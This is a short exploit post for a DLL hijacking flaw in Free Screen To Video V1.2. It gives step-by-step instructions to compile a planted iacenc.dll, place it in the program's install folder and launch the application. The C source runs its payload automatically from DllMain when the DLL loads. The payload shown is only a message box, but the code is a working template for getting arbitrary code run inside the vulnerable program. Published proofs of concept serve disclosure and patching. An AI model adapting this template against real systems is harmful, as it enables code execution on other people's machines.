Free Screen To Video 1.2 DLL Hijacking

`/*  
# Exploit Title: Free Screen To Video V1.2 DLL Hijacking Exploit (iacenc.dll)  
# Date: 15/03/2011  
# Author: Metropolis  
# Url: http://metropolis.fr.cr  
# Software Link: http://www.koyotesoft.com/appli/Setup_FreeScreenVideo.exe  
# Version: V1.2  
# Tested on: Microsoft Windows XP Professional SP3 (FR)  
# Instructions:  
# 1. Compile dll   
# gcc -shared -o iacenc.dll FreeScreenVideo.c  
# 2. Add iacenc.dl  
# C:\Program Files\Free Screen To Video  
# 3. Launch FreeScreenVideo.exe  
# 4. MessageBox DLL Hijacked!   
*/  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
dll_mll();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int dll_mll()  
{  
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);  
}  
`